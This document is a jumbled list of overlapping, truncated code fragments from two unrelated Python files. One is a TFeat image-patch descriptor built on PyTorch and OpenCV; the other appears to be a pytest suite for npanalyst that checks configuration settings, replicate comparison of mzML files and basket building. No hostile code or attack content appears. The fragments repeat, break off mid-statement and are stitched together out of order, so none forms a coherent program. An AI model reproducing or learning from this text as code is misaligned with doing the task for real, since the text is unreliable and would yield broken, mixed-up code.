"def __init__(self, pretrained_model='tfeat_misc/tfeat-liberty.params'): super( tfeat, self).__init__( name='tfeat', is_detector=False, is_descriptor=True, is_both=False, patch_input=True, can_batch=True) self.model",
"32, kernel_size=7), nn.Tanh(), nn.MaxPool2d(kernel_size=2, stride=2), nn.Conv2d(32, 64, kernel_size=6), nn.Tanh() ) self.descr = nn.Sequential(",
"= self.model(patch.float()) return desc.detach().numpy() def extract_descriptor(self, image, feature): gray_image = utils.all_to_gray(image) patches =",
"kernel_size=6), nn.Tanh() ) self.descr = nn.Sequential( nn.Linear(64 * 8 * 8, 128), nn.Tanh()",
"os import torch from torch import nn import torch.nn.functional as F import numpy",
"self).__init__() self.features = nn.Sequential( nn.InstanceNorm2d(1, affine=False), nn.Conv2d(1, 32, kernel_size=7), nn.Tanh(), nn.MaxPool2d(kernel_size=2, stride=2), nn.Conv2d(32,",
"batch): nb_patches = batch.shape[0] batch_resized = list() for i, patch in enumerate(batch): batch_resized.append(cv2.resize(batch[i],",
"patch = torch.tensor(patch) patch = patch.view(1,1,32,32) desc = self.model(patch.float()) return desc.detach().numpy() def extract_descriptor(self,",
"8 * 8, 128), nn.Tanh() ) def forward(self, x): x = self.features(x) x",
"nn.Sequential( nn.Linear(64 * 8 * 8, 128), nn.Tanh() ) def forward(self, x): x",
"model definition \"\"\" def __init__(self, pretrained_model=None): super(TNet, self).__init__() self.features = nn.Sequential( nn.InstanceNorm2d(1, affine=False),",
"self.model(batch_resized.float()) return desc.detach().numpy() def extract_descriptors_from_patch(self, patch): patch = cv2.resize(patch, (32, 32), interpolation=cv2.INTER_AREA) patch",
"= cv2.resize(patch, (32, 32), interpolation=cv2.INTER_AREA) patch = torch.tensor(patch) patch = patch.view(1,1,32,32) desc =",
"x): x = self.features(x) x = x.view(x.size(0), -1) x = self.descr(x) return x",
"batch_resized.view(nb_patches,1,32,32) desc = self.model(batch_resized.float()) return desc.detach().numpy() def extract_descriptors_from_patch(self, patch): patch = cv2.resize(patch, (32,",
"self.features = nn.Sequential( nn.InstanceNorm2d(1, affine=False), nn.Conv2d(1, 32, kernel_size=7), nn.Tanh(), nn.MaxPool2d(kernel_size=2, stride=2), nn.Conv2d(32, 64,",
"from features.DetectorDescriptorTemplate import DetectorAndDescriptor import features.feature_utils as utils dirname = os.path.dirname(__file__) class tfeat(DetectorAndDescriptor):",
"as utils dirname = os.path.dirname(__file__) class tfeat(DetectorAndDescriptor): def __init__(self, pretrained_model='tfeat_misc/tfeat-liberty.params'): super( tfeat, self).__init__(",
"self.model.load_state_dict(torch.load(pretrained_model, map_location='cpu')) self.model.eval() def extract_descriptors_from_patch_batch(self, batch): nb_patches = batch.shape[0] batch_resized = list() for",
"patch in enumerate(batch): batch_resized.append(cv2.resize(batch[i], (32, 32), interpolation=cv2.INTER_AREA)) batch_resized = torch.tensor(batch_resized) batch_resized = batch_resized.view(nb_patches,1,32,32)",
"import torch.nn.functional as F import numpy as np import cv2 from features.DetectorDescriptorTemplate import",
"is_detector=False, is_descriptor=True, is_both=False, patch_input=True, can_batch=True) self.model = TNet() pretrained_model = os.path.join(dirname, pretrained_model) self.model.load_state_dict(torch.load(pretrained_model,",
"desc = self.extract_descriptors_from_patch_batch(patches) return desc class TNet(nn.Module): \"\"\"TFeat model definition \"\"\" def __init__(self,",
"tfeat, self).__init__( name='tfeat', is_detector=False, is_descriptor=True, is_both=False, patch_input=True, can_batch=True) self.model = TNet() pretrained_model =",
"batch_resized = list() for i, patch in enumerate(batch): batch_resized.append(cv2.resize(batch[i], (32, 32), interpolation=cv2.INTER_AREA)) batch_resized",
"= self.model(batch_resized.float()) return desc.detach().numpy() def extract_descriptors_from_patch(self, patch): patch = cv2.resize(patch, (32, 32), interpolation=cv2.INTER_AREA)",
"patches = [] for f in feature: patch = utils.extract_patch(gray_image, f, patch_sz=32) patches.append(patch)",
"= TNet() pretrained_model = os.path.join(dirname, pretrained_model) self.model.load_state_dict(torch.load(pretrained_model, map_location='cpu')) self.model.eval() def extract_descriptors_from_patch_batch(self, batch): nb_patches",
"forward(self, x): x = self.features(x) x = x.view(x.size(0), -1) x = self.descr(x) return",
"patches = np.array(patches) desc = self.extract_descriptors_from_patch_batch(patches) return desc class TNet(nn.Module): \"\"\"TFeat model definition",
"= torch.tensor(patch) patch = patch.view(1,1,32,32) desc = self.model(patch.float()) return desc.detach().numpy() def extract_descriptor(self, image,",
"= torch.tensor(batch_resized) batch_resized = batch_resized.view(nb_patches,1,32,32) desc = self.model(batch_resized.float()) return desc.detach().numpy() def extract_descriptors_from_patch(self, patch):",
"\"\"\" def __init__(self, pretrained_model=None): super(TNet, self).__init__() self.features = nn.Sequential( nn.InstanceNorm2d(1, affine=False), nn.Conv2d(1, 32,",
"patch.view(1,1,32,32) desc = self.model(patch.float()) return desc.detach().numpy() def extract_descriptor(self, image, feature): gray_image = utils.all_to_gray(image)",
"batch.shape[0] batch_resized = list() for i, patch in enumerate(batch): batch_resized.append(cv2.resize(batch[i], (32, 32), interpolation=cv2.INTER_AREA))",
"torch import nn import torch.nn.functional as F import numpy as np import cv2",
"(32, 32), interpolation=cv2.INTER_AREA) patch = torch.tensor(patch) patch = patch.view(1,1,32,32) desc = self.model(patch.float()) return",
"import nn import torch.nn.functional as F import numpy as np import cv2 from",
"import cv2 from features.DetectorDescriptorTemplate import DetectorAndDescriptor import features.feature_utils as utils dirname = os.path.dirname(__file__)",
"is_descriptor=True, is_both=False, patch_input=True, can_batch=True) self.model = TNet() pretrained_model = os.path.join(dirname, pretrained_model) self.model.load_state_dict(torch.load(pretrained_model, map_location='cpu'))",
"self.model(patch.float()) return desc.detach().numpy() def extract_descriptor(self, image, feature): gray_image = utils.all_to_gray(image) patches = []",
"kernel_size=7), nn.Tanh(), nn.MaxPool2d(kernel_size=2, stride=2), nn.Conv2d(32, 64, kernel_size=6), nn.Tanh() ) self.descr = nn.Sequential( nn.Linear(64",
"self.descr = nn.Sequential( nn.Linear(64 * 8 * 8, 128), nn.Tanh() ) def forward(self,",
"nn import torch.nn.functional as F import numpy as np import cv2 from features.DetectorDescriptorTemplate",
"cv2 from features.DetectorDescriptorTemplate import DetectorAndDescriptor import features.feature_utils as utils dirname = os.path.dirname(__file__) class",
"import os import torch from torch import nn import torch.nn.functional as F import",
"sys import os import torch from torch import nn import torch.nn.functional as F",
"def extract_descriptor(self, image, feature): gray_image = utils.all_to_gray(image) patches = [] for f in",
"can_batch=True) self.model = TNet() pretrained_model = os.path.join(dirname, pretrained_model) self.model.load_state_dict(torch.load(pretrained_model, map_location='cpu')) self.model.eval() def extract_descriptors_from_patch_batch(self,",
"nn.Sequential( nn.InstanceNorm2d(1, affine=False), nn.Conv2d(1, 32, kernel_size=7), nn.Tanh(), nn.MaxPool2d(kernel_size=2, stride=2), nn.Conv2d(32, 64, kernel_size=6), nn.Tanh()",
"patch = patch.view(1,1,32,32) desc = self.model(patch.float()) return desc.detach().numpy() def extract_descriptor(self, image, feature): gray_image",
"desc = self.model(patch.float()) return desc.detach().numpy() def extract_descriptor(self, image, feature): gray_image = utils.all_to_gray(image) patches",
"nn.Linear(64 * 8 * 8, 128), nn.Tanh() ) def forward(self, x): x =",
"interpolation=cv2.INTER_AREA)) batch_resized = torch.tensor(batch_resized) batch_resized = batch_resized.view(nb_patches,1,32,32) desc = self.model(batch_resized.float()) return desc.detach().numpy() def",
"def forward(self, x): x = self.features(x) x = x.view(x.size(0), -1) x = self.descr(x)",
"f in feature: patch = utils.extract_patch(gray_image, f, patch_sz=32) patches.append(patch) patches = np.array(patches) desc",
"cv2.resize(patch, (32, 32), interpolation=cv2.INTER_AREA) patch = torch.tensor(patch) patch = patch.view(1,1,32,32) desc = self.model(patch.float())",
"= patch.view(1,1,32,32) desc = self.model(patch.float()) return desc.detach().numpy() def extract_descriptor(self, image, feature): gray_image =",
"utils dirname = os.path.dirname(__file__) class tfeat(DetectorAndDescriptor): def __init__(self, pretrained_model='tfeat_misc/tfeat-liberty.params'): super( tfeat, self).__init__( name='tfeat',",
"= batch.shape[0] batch_resized = list() for i, patch in enumerate(batch): batch_resized.append(cv2.resize(batch[i], (32, 32),",
"def extract_descriptors_from_patch(self, patch): patch = cv2.resize(patch, (32, 32), interpolation=cv2.INTER_AREA) patch = torch.tensor(patch) patch",
"return desc class TNet(nn.Module): \"\"\"TFeat model definition \"\"\" def __init__(self, pretrained_model=None): super(TNet, self).__init__()",
"import features.feature_utils as utils dirname = os.path.dirname(__file__) class tfeat(DetectorAndDescriptor): def __init__(self, pretrained_model='tfeat_misc/tfeat-liberty.params'): super(",
"= os.path.dirname(__file__) class tfeat(DetectorAndDescriptor): def __init__(self, pretrained_model='tfeat_misc/tfeat-liberty.params'): super( tfeat, self).__init__( name='tfeat', is_detector=False, is_descriptor=True,",
"image, feature): gray_image = utils.all_to_gray(image) patches = [] for f in feature: patch",
"return desc.detach().numpy() def extract_descriptors_from_patch(self, patch): patch = cv2.resize(patch, (32, 32), interpolation=cv2.INTER_AREA) patch =",
"\"\"\"TFeat model definition \"\"\" def __init__(self, pretrained_model=None): super(TNet, self).__init__() self.features = nn.Sequential( nn.InstanceNorm2d(1,",
"os.path.dirname(__file__) class tfeat(DetectorAndDescriptor): def __init__(self, pretrained_model='tfeat_misc/tfeat-liberty.params'): super( tfeat, self).__init__( name='tfeat', is_detector=False, is_descriptor=True, is_both=False,",
"enumerate(batch): batch_resized.append(cv2.resize(batch[i], (32, 32), interpolation=cv2.INTER_AREA)) batch_resized = torch.tensor(batch_resized) batch_resized = batch_resized.view(nb_patches,1,32,32) desc =",
"nn.InstanceNorm2d(1, affine=False), nn.Conv2d(1, 32, kernel_size=7), nn.Tanh(), nn.MaxPool2d(kernel_size=2, stride=2), nn.Conv2d(32, 64, kernel_size=6), nn.Tanh() )",
"extract_descriptor(self, image, feature): gray_image = utils.all_to_gray(image) patches = [] for f in feature:",
"* 8, 128), nn.Tanh() ) def forward(self, x): x = self.features(x) x ="
] |
[
"files. A full dataframe by dataframe comparison is performed to ensure identical csv",
"replicate_file_names: dataframe_assertion( reference_path=Path(tmpdir, \"expected_replicated_results\", rep), test_path=Path(tmpdir, \"replicated\", rep), ) # # Remove temporary",
"to wrong values, not due to interchanged rows result_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True,",
"Remove the temp folder shutil.rmtree(tmpdir, ignore_errors=True) # if __name__ == \"__main__\": # #",
"path to input files HERE = Path(__file__).parent # mzML files INPUT_MZML_FILES = HERE",
"time from npanalyst import configuration, cli from pandas._testing import assert_series_equal # # Helper",
"Catch all csv files from the expected results replicate_file_names = os.listdir(Path(tmpdir, \"expected_replicated_results\")) #",
"interchanged rows result_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True ) test_table = pd.read_csv(Path(test_path)) test_table.sort_values(",
"the replicate comparison step. The BioMAP mzML dataset is used to generate the",
"csv files.\"\"\" # # Create temporary folder for result and test files tmpdir",
"with expected replicate-compared output CSVs is used as the input. The resulting basket.csv",
"to an expected output file. A full dataframe by dataframe comparison is performed",
"- test_table[\"PrecMz\"]) < 0.1 assert np.sum(result_table[\"RetTime\"] - test_table[\"RetTime\"]) < 0.1 # # Define",
"test files tmpdir = tempfile.mkdtemp() # # Get replicated zip output file with",
"= configuration.load_config(config_path=None) print(configd) assert configd[\"ACTIVITYTHRESHOLD\"] == 2 assert configd[\"CLUSTERTHRESHOLD\"] == 0.3 assert configd[\"MINREPSREPLICATES\"]",
"= HERE / \"data/basketed_mzml.csv\" # # Test config settings (ms parameter and AS",
"threshold) def test_config_parameter(): \"\"\"This test shall guarantee that the loaded settings are identical",
"output file with expected output files and extract them with ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as",
"and CS threshold) def test_config_parameter(): \"\"\"This test shall guarantee that the loaded settings",
"config settings (ms parameter and AS and CS threshold) def test_config_parameter(): \"\"\"This test",
"os.listdir(Path(tmpdir, \"expected_replicated_results\")) # # Compare the expected replicated files with the produced files",
"Test config settings (ms parameter and AS and CS threshold) def test_config_parameter(): \"\"\"This",
"enable the ignore_errors function also for tempfile.TemporaryDirectory() which # # is the nicer",
"Get replicated zip output file with expected output files and extract them with",
"generated replicated files (=925) length = len(os.listdir(Path(tmpdir, \"replicated\"))) assert length == 925 #",
"files. # # Python 3.11 seems to enable the ignore_errors function also for",
"tempfile from pathlib import Path from zipfile import ZipFile import shutil import pandas",
"# # is the nicer context manager option. # shutil.rmtree(tmpdir, ignore_errors=True) def test_mzml_basket_building():",
"expected results replicate_file_names = os.listdir(Path(tmpdir, \"expected_replicated_results\")) # # Compare the expected replicated files",
"configd[\"ERRORINFO\"][\"PrecMz\"] == (\"ppm\", 30.0) assert configd[\"ERRORINFO\"][\"RetTime\"] == (\"window\", 0.03) assert configd[\"MININTENSITY\"] == 2e3",
"925 # # Get replicated zip output file with expected output files and",
"input files HERE = Path(__file__).parent # mzML files INPUT_MZML_FILES = HERE / \"data/BioMAP_mzml_input.zip\"",
"cli.run_replicate( input_path=Path(tmpdir, \"mzml_files\"), output_path=Path(tmpdir), workers=-2, verbose=False, config=None, ) # # Test length of",
"to obtain the reference/ground truth results.\"\"\" configd = configuration.load_config(config_path=None) print(configd) assert configd[\"ACTIVITYTHRESHOLD\"] ==",
"test_mzml_replicate_comparison(): \"\"\"Test for the replicate comparison step. The BioMAP mzML dataset is used",
"test_mzml_replicate_comparison() # # test_mzml_basket_building() # # print(f\"This testing took: {(time.time() - start) /",
"replicated files with the produced files for rep in replicate_file_names: dataframe_assertion( reference_path=Path(tmpdir, \"expected_replicated_results\",",
"import numpy as np import time from npanalyst import configuration, cli from pandas._testing",
"are identical to those, used to obtain the reference/ground truth results.\"\"\" configd =",
"ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as zip: zip.extractall(Path(tmpdir)) cli.run_basketing( input_path=Path(tmpdir), output_path=Path(tmpdir), verbose=False, config=None ) # #",
"rows are ordered properly and error messages are # # due to wrong",
"basket.csv file is compared to an expected output file. A full dataframe by",
"inplace=True ) test_table = pd.read_csv(Path(test_path)) test_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True ) assert_series_equal(result_table[\"UniqueFiles\"],",
"# Compare the expected replicated files with the produced files for rep in",
"seems to enable the ignore_errors function also for tempfile.TemporaryDirectory() which # # is",
"test_config_parameter(): \"\"\"This test shall guarantee that the loaded settings are identical to those,",
"is just a safe-guard to assure that rows are ordered properly and error",
"full dataframe by dataframe comparison is performed to ensure identical csv files.\"\"\" #",
"for tempfile.TemporaryDirectory() which # # is the nicer context manager option. # shutil.rmtree(tmpdir,",
"values, not due to interchanged rows result_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True )",
"# # Remove temporary folder. Windows would not delete all files. # #",
"Helper functions def dataframe_assertion(reference_path, test_path): \"\"\"This function reads the respective dataframe and compares",
"compared basketed CSVs OUTPUT_FILE_REPLICATED = HERE / \"data/replicated_mzml_result.zip\" # Basketed CSV file output",
"which # # is the nicer context manager option. # shutil.rmtree(tmpdir, ignore_errors=True) def",
"npanalyst import configuration, cli from pandas._testing import assert_series_equal # # Helper functions def",
"files.\"\"\" # # Create temporary folder for result and test files tmpdir =",
"zipfile import ZipFile import shutil import pandas as pd import numpy as np",
"dataframe by dataframe comparison is performed to ensure identical csv files.\"\"\" # #",
"Replicate compared basketed CSVs OUTPUT_FILE_REPLICATED = HERE / \"data/replicated_mzml_result.zip\" # Basketed CSV file",
"2e3 def test_mzml_replicate_comparison(): \"\"\"Test for the replicate comparison step. The BioMAP mzML dataset",
"rows result_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True ) test_table = pd.read_csv(Path(test_path)) test_table.sort_values( by=[\"UniqueFiles\",",
"reference_path=Path(OUTPUT_FILE_BASKETED), test_path=Path(tmpdir, \"basketed.csv\"), ) # # Remove the temp folder shutil.rmtree(tmpdir, ignore_errors=True) #",
"folder for result and test files tmpdir = tempfile.mkdtemp() # # Open and",
"to those, used to obtain the reference/ground truth results.\"\"\" configd = configuration.load_config(config_path=None) print(configd)",
"== 925 # # Get replicated zip output file with expected output files",
"files and extract them with ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as zip: zip.extractall(Path(tmpdir, \"expected_replicated_results\")) # #",
"\"__main__\": # # start = time.time() # # test_mzml_basket_building() # # test_mzml_replicate_comparison() #",
"# Compare the expected basketed file with the produced file dataframe_assertion( reference_path=Path(OUTPUT_FILE_BASKETED), test_path=Path(tmpdir,",
"is the nicer context manager option. # shutil.rmtree(tmpdir, ignore_errors=True) def test_mzml_basket_building(): \"\"\"Test for",
"the input. The resulting basket.csv file is compared to an expected output file.",
"with the produced file dataframe_assertion( reference_path=Path(OUTPUT_FILE_BASKETED), test_path=Path(tmpdir, \"basketed.csv\"), ) # # Remove the",
"and extract them with ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as zip: zip.extractall(Path(tmpdir)) cli.run_basketing( input_path=Path(tmpdir), output_path=Path(tmpdir), verbose=False,",
"and extract them with ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as zip: zip.extractall(Path(tmpdir, \"expected_replicated_results\")) # # Catch",
"file dataframe_assertion( reference_path=Path(OUTPUT_FILE_BASKETED), test_path=Path(tmpdir, \"basketed.csv\"), ) # # Remove the temp folder shutil.rmtree(tmpdir,",
"== 2 assert configd[\"CLUSTERTHRESHOLD\"] == 0.3 assert configd[\"MINREPSREPLICATES\"] == 2 assert configd[\"MINREPSBASKETS\"] ==",
"import time from npanalyst import configuration, cli from pandas._testing import assert_series_equal # #",
"2 assert configd[\"CLUSTERTHRESHOLD\"] == 0.3 assert configd[\"MINREPSREPLICATES\"] == 2 assert configd[\"MINREPSBASKETS\"] == 1",
"\"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True ) test_table = pd.read_csv(Path(test_path)) test_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True,",
"== (\"ppm\", 30.0) assert configd[\"ERRORINFO\"][\"RetTime\"] == (\"window\", 0.03) assert configd[\"MININTENSITY\"] == 2e3 def",
"import assert_series_equal # # Helper functions def dataframe_assertion(reference_path, test_path): \"\"\"This function reads the",
"test files tmpdir = tempfile.mkdtemp() # # Open and extract zip file that",
"os import tempfile from pathlib import Path from zipfile import ZipFile import shutil",
"context manager option. # shutil.rmtree(tmpdir, ignore_errors=True) def test_mzml_basket_building(): \"\"\"Test for basket building step.",
"all csv files from the expected results replicate_file_names = os.listdir(Path(tmpdir, \"expected_replicated_results\")) # #",
"= Path(__file__).parent # mzML files INPUT_MZML_FILES = HERE / \"data/BioMAP_mzml_input.zip\" # Replicate compared",
"# due to wrong values, not due to interchanged rows result_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\",",
"# # Get replicated zip output file with expected output files and extract",
"by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True ) test_table = pd.read_csv(Path(test_path)) test_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"],",
"ensure identical csv files.\"\"\" # # Create temporary folder for result and test",
"\"replicated\"))) assert length == 925 # # Get replicated zip output file with",
"generate the replicate-compared csv files. A full dataframe by dataframe comparison is performed",
"configuration, cli from pandas._testing import assert_series_equal # # Helper functions def dataframe_assertion(reference_path, test_path):",
"# Define relative path to input files HERE = Path(__file__).parent # mzML files",
"step. The BioMAP mzML dataset is used to generate the replicate-compared csv files.",
"to enable the ignore_errors function also for tempfile.TemporaryDirectory() which # # is the",
"= HERE / \"data/replicated_mzml_result.zip\" # Basketed CSV file output OUTPUT_FILE_BASKETED = HERE /",
"CSV file output OUTPUT_FILE_BASKETED = HERE / \"data/basketed_mzml.csv\" # # Test config settings",
"import tempfile from pathlib import Path from zipfile import ZipFile import shutil import",
"\"r\") as zip: zip.extractall(Path(tmpdir, \"mzml_files\")) # # Perform replicate comparison cli.run_replicate( input_path=Path(tmpdir, \"mzml_files\"),",
"verbose=False, config=None, ) # # Test length of generated replicated files (=925) length",
"the ignore_errors function also for tempfile.TemporaryDirectory() which # # is the nicer context",
"files for rep in replicate_file_names: dataframe_assertion( reference_path=Path(tmpdir, \"expected_replicated_results\", rep), test_path=Path(tmpdir, \"replicated\", rep), )",
"test_path=Path(tmpdir, \"basketed.csv\"), ) # # Remove the temp folder shutil.rmtree(tmpdir, ignore_errors=True) # if",
"all files. # # Python 3.11 seems to enable the ignore_errors function also",
"mzML files with ZipFile(Path(INPUT_MZML_FILES), \"r\") as zip: zip.extractall(Path(tmpdir, \"mzml_files\")) # # Perform replicate",
"# Perform replicate comparison cli.run_replicate( input_path=Path(tmpdir, \"mzml_files\"), output_path=Path(tmpdir), workers=-2, verbose=False, config=None, ) #",
"\"expected_replicated_results\")) # # Catch all csv files from the expected results replicate_file_names =",
"output files and extract them with ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as zip: zip.extractall(Path(tmpdir)) cli.run_basketing( input_path=Path(tmpdir),",
"ZipFile import shutil import pandas as pd import numpy as np import time",
"dataframe comparison is performed to ensure identical csv files.\"\"\" # # Create temporary",
"due to wrong values, not due to interchanged rows result_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"],",
"with ZipFile(Path(INPUT_MZML_FILES), \"r\") as zip: zip.extractall(Path(tmpdir, \"mzml_files\")) # # Perform replicate comparison cli.run_replicate(",
"dataframe_assertion(reference_path, test_path): \"\"\"This function reads the respective dataframe and compares the two files.\"\"\"",
"# # Perform replicate comparison cli.run_replicate( input_path=Path(tmpdir, \"mzml_files\"), output_path=Path(tmpdir), workers=-2, verbose=False, config=None, )",
"dataframe_assertion( reference_path=Path(OUTPUT_FILE_BASKETED), test_path=Path(tmpdir, \"basketed.csv\"), ) # # Remove the temp folder shutil.rmtree(tmpdir, ignore_errors=True)",
"from pathlib import Path from zipfile import ZipFile import shutil import pandas as",
"def test_mzml_replicate_comparison(): \"\"\"Test for the replicate comparison step. The BioMAP mzML dataset is",
"the expected replicated files with the produced files for rep in replicate_file_names: dataframe_assertion(",
"test_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True ) assert_series_equal(result_table[\"UniqueFiles\"], test_table[\"UniqueFiles\"]) assert np.sum(result_table[\"PrecMz\"] - test_table[\"PrecMz\"])",
"file output OUTPUT_FILE_BASKETED = HERE / \"data/basketed_mzml.csv\" # # Test config settings (ms",
"= len(os.listdir(Path(tmpdir, \"replicated\"))) assert length == 925 # # Get replicated zip output",
"# Basketed CSV file output OUTPUT_FILE_BASKETED = HERE / \"data/basketed_mzml.csv\" # # Test",
"# Remove the temp folder shutil.rmtree(tmpdir, ignore_errors=True) # if __name__ == \"__main__\": #",
"# if __name__ == \"__main__\": # # start = time.time() # # test_mzml_basket_building()",
"# # start = time.time() # # test_mzml_basket_building() # # test_mzml_replicate_comparison() # #",
"files and extract them with ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as zip: zip.extractall(Path(tmpdir)) cli.run_basketing( input_path=Path(tmpdir), output_path=Path(tmpdir),",
"/ \"data/basketed_mzml.csv\" # # Test config settings (ms parameter and AS and CS",
"for result and test files tmpdir = tempfile.mkdtemp() # # Open and extract",
"input_path=Path(tmpdir), output_path=Path(tmpdir), verbose=False, config=None ) # # Compare the expected basketed file with",
"shutil import pandas as pd import numpy as np import time from npanalyst",
"tempfile.TemporaryDirectory() which # # is the nicer context manager option. # shutil.rmtree(tmpdir, ignore_errors=True)",
"extract them with ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as zip: zip.extractall(Path(tmpdir)) cli.run_basketing( input_path=Path(tmpdir), output_path=Path(tmpdir), verbose=False, config=None",
"that contains the 2775 mzML files with ZipFile(Path(INPUT_MZML_FILES), \"r\") as zip: zip.extractall(Path(tmpdir, \"mzml_files\"))",
"Define relative path to input files HERE = Path(__file__).parent # mzML files INPUT_MZML_FILES",
"# # Compare the expected replicated files with the produced files for rep",
"\"expected_replicated_results\", rep), test_path=Path(tmpdir, \"replicated\", rep), ) # # Remove temporary folder. Windows would",
"tempfile.mkdtemp() # # Get replicated zip output file with expected output files and",
"is performed to ensure identical csv files.\"\"\" # # Create temporary folder for",
"HERE = Path(__file__).parent # mzML files INPUT_MZML_FILES = HERE / \"data/BioMAP_mzml_input.zip\" # Replicate",
"\"replicated\", rep), ) # # Remove temporary folder. Windows would not delete all",
"settings (ms parameter and AS and CS threshold) def test_config_parameter(): \"\"\"This test shall",
"# # test_mzml_replicate_comparison() # # test_mzml_basket_building() # # print(f\"This testing took: {(time.time() -",
"import shutil import pandas as pd import numpy as np import time from",
"np.sum(result_table[\"PrecMz\"] - test_table[\"PrecMz\"]) < 0.1 assert np.sum(result_table[\"RetTime\"] - test_table[\"RetTime\"]) < 0.1 # #",
"and test files tmpdir = tempfile.mkdtemp() # # Open and extract zip file",
"assert configd[\"MINREPSREPLICATES\"] == 2 assert configd[\"MINREPSBASKETS\"] == 1 assert configd[\"ERRORINFO\"][\"PrecMz\"] == (\"ppm\", 30.0)",
"\"\"\"Test for the replicate comparison step. The BioMAP mzML dataset is used to",
"# # test_mzml_basket_building() # # test_mzml_replicate_comparison() # # test_mzml_basket_building() # # print(f\"This testing",
"truth results.\"\"\" configd = configuration.load_config(config_path=None) print(configd) assert configd[\"ACTIVITYTHRESHOLD\"] == 2 assert configd[\"CLUSTERTHRESHOLD\"] ==",
"# # Define relative path to input files HERE = Path(__file__).parent # mzML",
"an expected output file. A full dataframe by dataframe comparison is performed to",
"AS and CS threshold) def test_config_parameter(): \"\"\"This test shall guarantee that the loaded",
"test_table[\"PrecMz\"]) < 0.1 assert np.sum(result_table[\"RetTime\"] - test_table[\"RetTime\"]) < 0.1 # # Define relative",
"expected replicate-compared output CSVs is used as the input. The resulting basket.csv file",
"The BioMAP mzML dataset is used to generate the replicate-compared csv files. A",
"csv files from the expected results replicate_file_names = os.listdir(Path(tmpdir, \"expected_replicated_results\")) # # Compare",
"\"mzml_files\"), output_path=Path(tmpdir), workers=-2, verbose=False, config=None, ) # # Test length of generated replicated",
"length = len(os.listdir(Path(tmpdir, \"replicated\"))) assert length == 925 # # Get replicated zip",
"import ZipFile import shutil import pandas as pd import numpy as np import",
"zip: zip.extractall(Path(tmpdir, \"mzml_files\")) # # Perform replicate comparison cli.run_replicate( input_path=Path(tmpdir, \"mzml_files\"), output_path=Path(tmpdir), workers=-2,",
"def test_mzml_basket_building(): \"\"\"Test for basket building step. A folder with expected replicate-compared output",
"expected basketed file with the produced file dataframe_assertion( reference_path=Path(OUTPUT_FILE_BASKETED), test_path=Path(tmpdir, \"basketed.csv\"), ) #",
"# # due to wrong values, not due to interchanged rows result_table.sort_values( by=[\"UniqueFiles\",",
"files with ZipFile(Path(INPUT_MZML_FILES), \"r\") as zip: zip.extractall(Path(tmpdir, \"mzml_files\")) # # Perform replicate comparison",
"resorting is just a safe-guard to assure that rows are ordered properly and",
"input. The resulting basket.csv file is compared to an expected output file. A",
"for result and test files tmpdir = tempfile.mkdtemp() # # Get replicated zip",
"assert_series_equal # # Helper functions def dataframe_assertion(reference_path, test_path): \"\"\"This function reads the respective",
"as the input. The resulting basket.csv file is compared to an expected output",
"replicate comparison cli.run_replicate( input_path=Path(tmpdir, \"mzml_files\"), output_path=Path(tmpdir), workers=-2, verbose=False, config=None, ) # # Test",
"test_mzml_basket_building() # # test_mzml_replicate_comparison() # # test_mzml_basket_building() # # print(f\"This testing took: {(time.time()",
"configd[\"ERRORINFO\"][\"RetTime\"] == (\"window\", 0.03) assert configd[\"MININTENSITY\"] == 2e3 def test_mzml_replicate_comparison(): \"\"\"Test for the",
"result and test files tmpdir = tempfile.mkdtemp() # # Get replicated zip output",
"nicer context manager option. # shutil.rmtree(tmpdir, ignore_errors=True) def test_mzml_basket_building(): \"\"\"Test for basket building",
"the expected basketed file with the produced file dataframe_assertion( reference_path=Path(OUTPUT_FILE_BASKETED), test_path=Path(tmpdir, \"basketed.csv\"), )",
"A folder with expected replicate-compared output CSVs is used as the input. The",
"test_table[\"RetTime\"]) < 0.1 # # Define relative path to input files HERE =",
"config=None ) # # Compare the expected basketed file with the produced file",
"CSVs is used as the input. The resulting basket.csv file is compared to",
"cli.run_basketing( input_path=Path(tmpdir), output_path=Path(tmpdir), verbose=False, config=None ) # # Compare the expected basketed file",
"assert configd[\"MINREPSBASKETS\"] == 1 assert configd[\"ERRORINFO\"][\"PrecMz\"] == (\"ppm\", 30.0) assert configd[\"ERRORINFO\"][\"RetTime\"] == (\"window\",",
"compares the two files.\"\"\" result_table = pd.read_csv(reference_path) # # This resorting is just",
"configd[\"MINREPSREPLICATES\"] == 2 assert configd[\"MINREPSBASKETS\"] == 1 assert configd[\"ERRORINFO\"][\"PrecMz\"] == (\"ppm\", 30.0) assert",
"== 1 assert configd[\"ERRORINFO\"][\"PrecMz\"] == (\"ppm\", 30.0) assert configd[\"ERRORINFO\"][\"RetTime\"] == (\"window\", 0.03) assert",
"print(configd) assert configd[\"ACTIVITYTHRESHOLD\"] == 2 assert configd[\"CLUSTERTHRESHOLD\"] == 0.3 assert configd[\"MINREPSREPLICATES\"] == 2",
"configuration.load_config(config_path=None) print(configd) assert configd[\"ACTIVITYTHRESHOLD\"] == 2 assert configd[\"CLUSTERTHRESHOLD\"] == 0.3 assert configd[\"MINREPSREPLICATES\"] ==",
